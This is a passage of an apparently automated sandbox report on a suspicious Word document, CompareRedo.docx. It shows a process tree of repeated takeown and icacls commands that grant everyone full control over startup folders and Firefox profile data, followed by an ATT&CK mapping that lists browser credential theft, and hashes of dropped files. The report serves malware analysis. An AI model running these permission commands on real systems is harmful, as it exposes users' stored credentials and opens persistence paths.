  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries && icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries /grant everyone:(f)
  2⤵
  PID:1808
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries
    3⤵
    PID:2648
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries /grant everyone:(f)
    3⤵
    PID:2952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts && icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts /grant everyone:(f)
  2⤵
  PID:2096
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts
    3⤵
    PID:2252
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Printer Shortcuts && icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Printer Shortcuts /grant everyone:(f)
  2⤵
  PID:2924
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Printer Shortcuts
    3⤵
    PID:1568
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\PrivacIE && icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\PrivacIE /grant everyone:(f)
  2⤵
  PID:2564
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\PrivacIE
    3⤵
    PID:3036
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\PrivacIE /grant everyone:(f)
    3⤵
    PID:844
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\PrivacIE\Low && icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\PrivacIE\Low /grant everyone:(f)
  2⤵
  PID:2376
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\PrivacIE\Low
    3⤵
    - Modifies file permissions
    PID:2964
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\PrivacIE\Low /grant everyone:(f)
    3⤵
    PID:2792
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent && icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent /grant everyone:(f)
  2⤵
  PID:2960
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent
    3⤵
    PID:1800
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent /grant everyone:(f)
    3⤵
    PID:3068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations && icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations /grant everyone:(f)
  2⤵
  PID:2184
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations
    3⤵
    PID:1244
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations /grant everyone:(f)
    3⤵
    PID:2480
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations && icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations /grant everyone:(f)
  2⤵
  PID:1468
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations
    3⤵
    PID:1096
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations /grant everyone:(f)
    3⤵
    PID:1136
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo && icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo /grant everyone:(f)
  2⤵
  PID:2088
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo
    3⤵
    PID:108
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo /grant everyone:(f)
    3⤵
    PID:1540
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu && icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu /grant everyone:(f)
  2⤵
  PID:1584
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu
    3⤵
    - Modifies file permissions
    PID:1052
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs && icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs /grant everyone:(f)
  2⤵
  PID:2428
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs
    3⤵
    PID:1560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories && icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories /grant everyone:(f)
  2⤵
  PID:3028
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories
    3⤵
    PID:1856
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility && icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility /grant everyone:(f)
  2⤵
  PID:1784
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility
    3⤵
    PID:2020
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools && icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools /grant everyone:(f)
  2⤵
  PID:1496
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools
    3⤵
    PID:632
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools && icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools /grant everyone:(f)
  2⤵
  PID:1748
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools
    3⤵
    PID:1548
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance && icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance /grant everyone:(f)
  2⤵
  PID:1684
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance
    3⤵
    - Possible privilege escalation attempt
    PID:900
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup && icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup /grant everyone:(f)
  2⤵
  PID:284
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
    3⤵
    PID:1348
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates && icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates /grant everyone:(f)
  2⤵
  PID:772
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates
    3⤵
    - Possible privilege escalation attempt
    PID:2260
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates /grant everyone:(f)
    3⤵
    PID:2340
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes && icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes /grant everyone:(f)
  2⤵
  PID:2532
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes
    3⤵
    PID:1352
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes /grant everyone:(f)
    3⤵
    - Possible privilege escalation attempt
    PID:2364
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Word && icacls C:\Users\Admin\AppData\Roaming\Microsoft\Word /grant everyone:(f)
  2⤵
  PID:2180
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Word
    3⤵
    PID:2220
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Microsoft\Word /grant everyone:(f)
    3⤵
    PID:2592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP && icacls C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP /grant everyone:(f)
  2⤵
  PID:2932
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP
    3⤵
    PID:2056
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP /grant everyone:(f)
    3⤵
    PID:2072
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Mozilla && icacls C:\Users\Admin\AppData\Roaming\Mozilla /grant everyone:(f)
  2⤵
  PID:2280
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Mozilla
    3⤵
    PID:2672
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Mozilla /grant everyone:(f)
    3⤵
    PID:2988
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Mozilla\Extensions && icacls C:\Users\Admin\AppData\Roaming\Mozilla\Extensions /grant everyone:(f)
  2⤵
  PID:2396
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Mozilla\Extensions
    3⤵
    PID:3060
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Mozilla\Extensions /grant everyone:(f)
    3⤵
    PID:2680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Mozilla\Firefox && icacls C:\Users\Admin\AppData\Roaming\Mozilla\Firefox /grant everyone:(f)
  2⤵
  PID:316
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Mozilla\Firefox
    3⤵
    PID:3064
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Mozilla\Firefox /grant everyone:(f)
    3⤵
    PID:2288
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports && icacls C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports /grant everyone:(f)
  2⤵
  PID:324
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports
    3⤵
    PID:888
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\events && icacls C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\events /grant everyone:(f)
  2⤵
  PID:2764
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\events
    3⤵
    PID:1676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Pending Pings && icacls C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Pending Pings /grant everyone:(f)
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:1992
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Pending Pings
    3⤵
    PID:2176
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles && icacls C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles /grant everyone:(f)
  2⤵
  PID:2784
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles
    3⤵
    PID:2972
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles /grant everyone:(f)
    3⤵
    PID:2708
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\id09dv1m.Admin && icacls C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\id09dv1m.Admin /grant everyone:(f)
  2⤵
  PID:2728
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\id09dv1m.Admin
    3⤵
    PID:2596
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\id09dv1m.Admin /grant everyone:(f)
    3⤵
    - Modifies file permissions
    PID:1256
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\id09dv1m.default-release && icacls C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\id09dv1m.default-release /grant everyone:(f)
  2⤵
  PID:2236
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\id09dv1m.default-release
    3⤵
    PID:112
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\id09dv1m.default-release /grant everyone:(f)
    3⤵
    PID:2884
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\id09dv1m.default-release\bookmarkbackups && icacls C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\id09dv1m.default-release\bookmarkbackups /grant everyone:(f)
  2⤵
  PID:2104
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\id09dv1m.default-release\bookmarkbackups
    3⤵
    PID:2648
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\id09dv1m.default-release\bookmarkbackups /grant everyone:(f)
    3⤵
    PID:2612
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\id09dv1m.default-release\browser-extension-data && icacls C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\id09dv1m.default-release\browser-extension-data /grant everyone:(f)
  2⤵
  PID:1808
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\id09dv1m.default-release\browser-extension-data
    3⤵
    PID:2252
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\id09dv1m.default-release\browser-extension-data /grant everyone:(f)
    3⤵
    PID:2624
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\id09dv1m.default-release\browser-extension-data\[email protected] && icacls C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\id09dv1m.default-release\browser-extension-data\[email protected] /grant everyone:(f)
  2⤵
  PID:2824
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\id09dv1m.default-release\browser-extension-data\[email protected]
    3⤵
    PID:2924
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\id09dv1m.default-release\browser-extension-data\[email protected] /grant everyone:(f)
    3⤵
    PID:2588
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\id09dv1m.default-release\crashes && icacls C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\id09dv1m.default-release\crashes /grant everyone:(f)
  2⤵
  PID:3036
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\id09dv1m.default-release\crashes
    3⤵
    PID:2564
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\id09dv1m.default-release\crashes /grant everyone:(f)
    3⤵
    PID:2572
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\id09dv1m.default-release\crashes\events && icacls C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\id09dv1m.default-release\crashes\events /grant everyone:(f)
  2⤵
  PID:2964
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\id09dv1m.default-release\crashes\events
    3⤵
    - Possible privilege escalation attempt
    PID:2376
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\id09dv1m.default-release\crashes\events /grant everyone:(f)
    3⤵
    PID:896
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\id09dv1m.default-release\datareporting && icacls C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\id09dv1m.default-release\datareporting /grant everyone:(f)
  2⤵
  PID:1800

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\Desktop\CompareRedo.docx"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2848

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /vu "C:\Users\Admin\Desktop\CompareRedo.docx"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1964

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-794947293-7174191371454214199-5225412761204182439122370762521020747751042376806"
1⤵
PID:2480

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "15774141451361977236-13957188392088679606-1121857374-2115509804-500408850612992615"
1⤵
PID:2168

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-153579436-776949447400070715-2072866164-1018368456156487666197241926703629289"
1⤵
PID:2748

C:\Windows\explorer.exe
"C:\Windows\explorer.exe"
1⤵
PID:2976

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:2792

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1717349589493136752311570549-1945540586-497950969-933787195262199439157154982"
1⤵
PID:1716

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1606694425-20064268573207588211315087071877260375514114537-142447461329825239"
1⤵
PID:1052

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-627938489-8852264612084484395-1614389945-1935454222-17936563201241020574811491757"
1⤵
PID:284

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-13479806171519743657-88652830613122663522120523396-962652954-1714382625-1230561748"
1⤵
PID:692

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "2102608743-1838238370432392517-8656263731908109898-2575609031750902926-1692154394"
1⤵
PID:1552

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "127761860917875177761292089050938353847-1671129059284639182-1749768205816282513"
1⤵
PID:2468

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-414482523765499163143366019917332902251236564201-368276752-7430080611944375385"
1⤵
PID:3068

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1144601860-2551353421976082431-1365047443425484685-205632579-118933329-1593520646"
1⤵
PID:2168

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "2037775683-5378969201485850573462688520206132714-854350230-851709699-1886636622"
1⤵
PID:1472

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Windows Credential Manager

T1555.004

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{4C4CB4D2-4D82-4911-A106-CF2BEAD0F009}.tmp

Filesize
12KB

MD5
e28f180275ca74119d3ec40c55620bc1

SHA1
c2f89ba176c023cb7501f91b8206cb39d65344ac

SHA256
8e79b5bbe22d0ac624074709adc6834c77dcaa156d23c796cc513fef3631b30e

SHA512
fd8da5671f098bb652f2e91cb0921329c014a60236e0215551c78d3be2762c8409a1c509621765748062d4d2ba116e220143d826c44a316474ff96d01c9e94a4

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Document Building Blocks\1033\14\Built-In Building Blocks.dotx

Filesize
4.0MB

MD5
d572f3c193cbfc88c4f3779657b8e20d

SHA1
db07b42317293f2e331c4f34a34fc44abb4c9793

SHA256
5e9b4e081abe7439af6fe53489108d8de3d0c9dbc297f080a1cf17e4913fdfd5

SHA512
cae95d69f65b13de18908d57186a7fd9c74762152a3e0a51f5031ff029231cffdaf40e69b07c5ecbf812cd8f7c6d2c425abba35ad8fe4567e66a6df949751564

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Office\Recent\CompareRedo.docx.LNK

Filesize
999B

MD5
3c08f756f2838ba0a6726968bf6eef70

SHA1
b92182f199eadf7ff1931a4065462d3115fabc44

SHA256
01179daebf3e591324f4b887a9f103df802e5d47a1ff341b061ef078f10b0c14

SHA512
d052f11c85f7f9b4333fb19ec1b63a526456693fc4e32c6d67db295ef5b5e12cde9a72c44a3be13fafb487c2962d1d6fa4750bc8115b996e578a3c73f0a7320d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Office\Recent\CompareRedo.docx.LNK

Filesize
999B

MD5
1e9244e849684e5b49f2e54c13869512

SHA1
d388fff358e3d64d574dd142b4c4e1f5c33144db

SHA256
361811629d54cb4339c44beada8fb70a0696826c00cb1019663451cb61549204

SHA512
27704e3aa4d26247d5c586c768babffae0363d67f3c7c254508d93bcda05c9fa6c4df774a8c9e6c6857a558dfea875180b24fcca2603a6d3f79e94fdb23161ed

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Office\Recent\Templates.LNK

Filesize
1KB

MD5
2cfbef01141daea5dcee394778dca76c

SHA1
a9c0672aff334a82d085eeed19b3887a9d850bea

SHA256
84aa30fadc06645f14877008c3ca7939d86e07ecee4922734b04233926c1cc16

SHA512
0b1f82a541caa267a66b64feaa5ac8eb4605612bcc5c189c2eec66f71a8a777c3df1323cdf165778e72fc7c71f69d5d9059e08ef749f0e5a2595f7af8e4990a4

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Office\Recent\index.dat

Filesize
357B

MD5
9fe0d3588624310c4ca2cea722b35de0

SHA1
7a5ee53b67af29a5c0df95c7f4eec27ac9249088

SHA256
e45a3eeb64a453536ee5fee8078a5a8ecf41feab8dffee2e13ebcff6f690bc1e

SHA512
8a62c3ed1d93f2a0add29be247b811954e1c36492262c0256017b98d1bde1104618e740f38e150e50fd6de80042e16470bf36ab44749fcd55a1148ace166f093

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Office\Recent\index.dat

Filesize
357B

MD5
e417799ee18799922f369f258e050aef

SHA1
b65d2f162838dbe4725b9bc3e3c447449d28adc7

SHA256
28289f486a2bd2e4913e9943772d3f966ff93074afecbbb2ae223148c97343c0

SHA512
a24e89fd8ac5e01b1fc1587b407ef725addf8863720776a7d45246de0c53b383b696a5d73b25fad786d2d5a8125c5561a8b646af56b6770d33c3983fcb631bf4

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

Filesize
19KB

MD5
38c5ac8f44e033c04120b0f55c757a03

SHA1
e21f343a702cea0178061cb966f54fcaae0c4058

SHA256
c1ea5306f66d9b66520a88dc66f02f856789cd0fd9402739fbdb2fb102e62755

SHA512
3ec921e431bbdf5c6887cbb34f60e8f478aaab4beaf8b93be7b24b841535a887be927ebb7b99c5ec5d7d4421fe83faf1d320fcc37e5527c33b436121427ca6a3

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryEN0409.lex

Filesize
2B

MD5
f3b25701fe362ec84616a93a45ce9998

SHA1
d62636d8caec13f04e28442a0a6fa1afeb024bbb

SHA256
b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

SHA512
98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

Download Submit
memory/1964-42-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2848-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2848-41-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads